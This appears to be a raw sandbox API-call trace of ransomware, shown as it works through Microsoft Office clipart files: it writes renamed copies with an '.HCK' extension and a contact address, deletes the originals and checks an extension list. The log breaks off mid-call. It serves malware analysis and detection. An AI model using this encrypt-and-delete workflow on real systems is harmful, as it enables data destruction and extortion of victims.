[0162.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0162.966] GetLastError () returned 0x0 [0162.966] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xb758, lpOverlapped=0x0) returned 1 [0162.968] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xb760, lpOverlapped=0x0) returned 1 [0162.969] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.969] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.969] SetEndOfFile (hFile=0x364) returned 1 [0162.969] CloseHandle (hObject=0x364) returned 1 [0162.971] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.971] SetEndOfFile (hFile=0x308) returned 1 [0162.972] CloseHandle (hObject=0x308) returned 1 [0162.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0162.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0162.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0162.973] lstrlenW (lpString=".doc") returned 4 [0162.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString=".docx") returned 5 [0162.973] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0162.973] lstrlenW (lpString=".pdf") returned 4 [0162.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString=".xls") returned 4 [0162.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.973] lstrlenW (lpString=".xlsx") returned 5 [0162.973] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0162.973] lstrlenW (lpString=".ppt") returned 4 [0162.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0162.973] lstrlenW (lpString=".zip") returned 4 [0162.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.973] lstrlenW (lpString=".rar") returned 4 [0162.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString=".bz2") returned 4 [0162.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString=".7z") returned 3 [0162.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0162.973] lstrlenW (lpString=".dbf") returned 4 [0162.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0162.973] lstrlenW (lpString=".1cd") returned 4 [0162.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0162.973] lstrlenW (lpString=".jpg") returned 4 [0162.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0162.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0162.973] lstrlenW (lpString=".doc") returned 4 [0162.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString=".docx") returned 5 [0162.973] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0162.973] lstrlenW (lpString=".pdf") returned 4 [0162.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString=".xls") returned 4 [0162.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.973] lstrlenW (lpString=".xlsx") returned 5 [0162.973] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0162.973] lstrlenW (lpString=".ppt") returned 4 [0162.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0162.973] lstrlenW (lpString=".zip") returned 4 [0162.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.973] lstrlenW (lpString=".rar") returned 4 [0162.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString=".bz2") returned 4 [0162.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.974] lstrlenW (lpString=".7z") returned 3 [0162.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0162.974] lstrlenW (lpString=".dbf") returned 4 [0162.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0162.974] lstrlenW (lpString=".1cd") returned 4 [0162.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0162.974] lstrlenW (lpString=".jpg") returned 4 [0162.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.974] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.974] lstrlenW (lpString="J0090089.WMF") returned 12 [0162.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0162.974] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=15760) returned 1 [0162.974] CloseHandle (hObject=0x308) returned 1 [0162.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220 [0162.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0162.975] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.975] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0162.975] GetLastError () returned 0x0 [0162.975] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3d90, lpOverlapped=0x0) returned 1 [0163.345] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3da0, lpOverlapped=0x0) returned 1 [0163.346] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.346] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0163.373] SetEndOfFile (hFile=0x364) returned 1 [0163.665] CloseHandle (hObject=0x364) returned 1 [0164.130] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.130] SetEndOfFile (hFile=0x308) returned 1 [0164.139] CloseHandle (hObject=0x308) returned 1 [0164.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0164.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.158] lstrlenW (lpString=".doc") returned 4 [0164.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.161] lstrlenW (lpString=".docx") returned 5 [0164.161] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0164.161] lstrlenW (lpString=".pdf") returned 4 [0164.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.161] lstrlenW (lpString=".xls") returned 4 [0164.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.161] lstrlenW (lpString=".xlsx") returned 5 [0164.165] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0164.165] lstrlenW (lpString=".ppt") returned 4 [0164.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.165] lstrlenW (lpString=".zip") returned 4 [0164.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.165] lstrlenW (lpString=".rar") returned 4 [0164.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.166] lstrlenW (lpString=".bz2") returned 4 [0164.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.166] lstrlenW (lpString=".7z") returned 3 [0164.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.166] lstrlenW (lpString=".dbf") returned 4 [0164.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.166] lstrlenW (lpString=".1cd") returned 4 [0164.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.166] lstrlenW (lpString=".jpg") returned 4 [0164.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.166] lstrlenW (lpString=".doc") returned 4 [0164.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.166] lstrlenW (lpString=".docx") returned 5 [0164.166] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0164.166] lstrlenW (lpString=".pdf") returned 4 [0164.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.166] lstrlenW (lpString=".xls") returned 4 [0164.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.166] lstrlenW (lpString=".xlsx") returned 5 [0164.166] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0164.166] lstrlenW (lpString=".ppt") returned 4 [0164.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.166] lstrlenW (lpString=".zip") returned 4 [0164.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.166] lstrlenW (lpString=".rar") returned 4 [0164.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.166] lstrlenW (lpString=".bz2") returned 4 [0164.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.166] lstrlenW (lpString=".7z") returned 3 [0164.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.166] lstrlenW (lpString=".dbf") returned 4 [0164.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.166] lstrlenW (lpString=".1cd") returned 4 [0164.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0164.166] lstrlenW (lpString=".jpg") returned 4 [0164.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.167] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0164.167] lstrlenW (lpString="J0099174.WMF") returned 12 [0164.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0164.167] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=6214) returned 1 [0164.167] CloseHandle (hObject=0x308) returned 1 [0164.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 0x220 [0164.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0164.167] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.167] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0164.168] GetLastError () returned 0x0 [0164.168] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1846, lpOverlapped=0x0) returned 1 [0164.169] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1850, lpOverlapped=0x0) returned 1 [0164.170] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.170] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.170] SetEndOfFile (hFile=0x364) returned 1 [0164.170] CloseHandle (hObject=0x364) returned 1 [0164.170] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.170] SetEndOfFile (hFile=0x308) returned 1 [0164.171] CloseHandle (hObject=0x308) returned 1 [0164.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 1 [0164.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0164.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0164.172] lstrlenW (lpString=".doc") returned 4 [0164.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.172] lstrlenW (lpString=".docx") returned 5 [0164.172] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0164.172] lstrlenW (lpString=".pdf") returned 4 [0164.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.172] lstrlenW (lpString=".xls") returned 4 [0164.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.172] lstrlenW (lpString=".xlsx") returned 5 [0164.172] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0164.172] lstrlenW (lpString=".ppt") returned 4 [0164.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0164.172] lstrlenW (lpString=".zip") returned 4 [0164.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.172] lstrlenW (lpString=".rar") returned 4 [0164.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.172] lstrlenW (lpString=".bz2") returned 4 [0164.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.172] lstrlenW (lpString=".7z") returned 3 [0164.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0164.172] lstrlenW (lpString=".dbf") returned 4 [0164.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0164.172] lstrlenW (lpString=".1cd") returned 4 [0164.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0164.172] lstrlenW (lpString=".jpg") returned 4 [0164.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0164.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0164.172] lstrlenW (lpString=".doc") returned 4 [0164.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.172] lstrlenW (lpString=".docx") returned 5 [0164.172] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0164.172] lstrlenW (lpString=".pdf") returned 4 [0164.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.173] lstrlenW (lpString=".xls") returned 4 [0164.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.173] lstrlenW (lpString=".xlsx") returned 5 [0164.173] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0164.173] lstrlenW (lpString=".ppt") returned 4 [0164.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0164.173] lstrlenW (lpString=".zip") returned 4 [0164.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.173] lstrlenW (lpString=".rar") returned 4 [0164.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.173] lstrlenW (lpString=".bz2") returned 4 [0164.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.173] lstrlenW (lpString=".7z") returned 3 [0164.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0164.173] lstrlenW (lpString=".dbf") returned 4 [0164.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0164.173] lstrlenW (lpString=".1cd") returned 4 [0164.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0164.173] lstrlenW (lpString=".jpg") returned 4 [0164.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.173] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0164.173] lstrlenW (lpString="J0099175.WMF") returned 12 [0164.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0164.175] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=9744) returned 1 [0164.175] CloseHandle (hObject=0x308) returned 1 [0164.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 0x220 [0164.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0164.175] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.175] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0164.176] GetLastError () returned 0x0 [0164.176] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: 